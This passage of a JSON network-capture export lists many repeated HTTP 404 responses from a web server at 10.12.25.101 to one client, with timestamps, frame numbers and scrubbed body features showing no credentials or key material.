            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255789.695831000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "990",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-66493b955b11222d0981031a",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 991,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255789.986703000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "993",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-93d30dbc378958ec4057c01a",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 994,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255790.266026000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "996",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-37af56930f9b2a9d404cd0ef",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 997,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255791.267461000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "999",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-55cbd25de7642cc0757d3052",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1000,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255795.064556000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1002",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-55045238b14692a92b6d716f",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1003,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255795.344111000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1005",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-6a77630d5a5a09e396918e73",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1006,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255795.870076000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1008",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-fd19bafa6e6f1b3571f1c035",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1009,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255796.767409000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1011",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-023207bbbafe3ee3b4dcfa48",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1013,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255797.549941000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1015",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-0cd046f472ef98f4f33b6484",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1016,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255797.829133000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1018",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-ef667d255d37bd006b902705",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1019,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255798.109647000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1021",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-c2f4e1d3c4e1443576216986",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1022,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255798.954992000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1024",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-3206702c1340f25f3821e4ca",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1025,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255802.709625000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1027",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-a060a81bc60d2ca6ac5c7ba1",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1028,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255802.994850000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1030",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-0c1ea2f5fe96816a19b63924",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1031,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255803.369846000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1033",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-516e6ccb12e9881a4f008974",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1034,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255803.756943000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1036",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-1870dac17f54ec4f0a56097b",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1037,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255804.132444000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1039",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-0133292123597fac3152f2dd",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1040,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255804.477447000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1042",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-2cf815c566a7b14e4504ba81",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1043,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255804.928593000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1045",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-2d0683fb44651cf2fd83fb99",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1046,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255805.584845000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1048",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-cf0dbcac6583a4d2cf6d8148",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1049,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255805.864298000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1051",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-865537c704afbfbed12c72d9",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1052,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255806.144156000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1054",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-05e4e9b761549a8d7e3aa606",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1055,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255806.423376000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1057",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-a0ec2fd2c239cd085c0a342b",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1058,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255806.715780000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1060",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-750f1f53e7712a6f03f0f5fb",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1061,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255806.996711000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1063",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-916118373515e403d1b6f6af",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1064,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255807.276678000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1066",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-1d3970adfda7a6fd6fc6615c",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1067,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255809.787627000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1069",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-6272fe89cc2377f52162ca3f",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1070,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255810.073564000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1072",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-4bbe444d1717a64be1783462",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1073,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255810.353084000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1075",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-1a13185e51f0f05a28fc154a",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1076,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255810.633884000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1078",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-5b5f4cdeb73345d324e59c5f",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1079,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255811.455045000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1081",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-09ae13f1ec1c81ff4c15c810",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1082,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255812.955028000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1084",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-d1e44bf59d817833f1045b44",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1085,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255813.377979000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1087",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-1f03262961e93f9feb8f140f",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1088,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255813.739506000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1090",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-4a9fc36ecca3b24e550e73d5",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1091,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255814.023492000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1093",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-f1c7e85f4ab7bb88b91c11af",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1094,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255814.862002000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1103",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-b9f64c5da5014da6728edf64",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1105,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
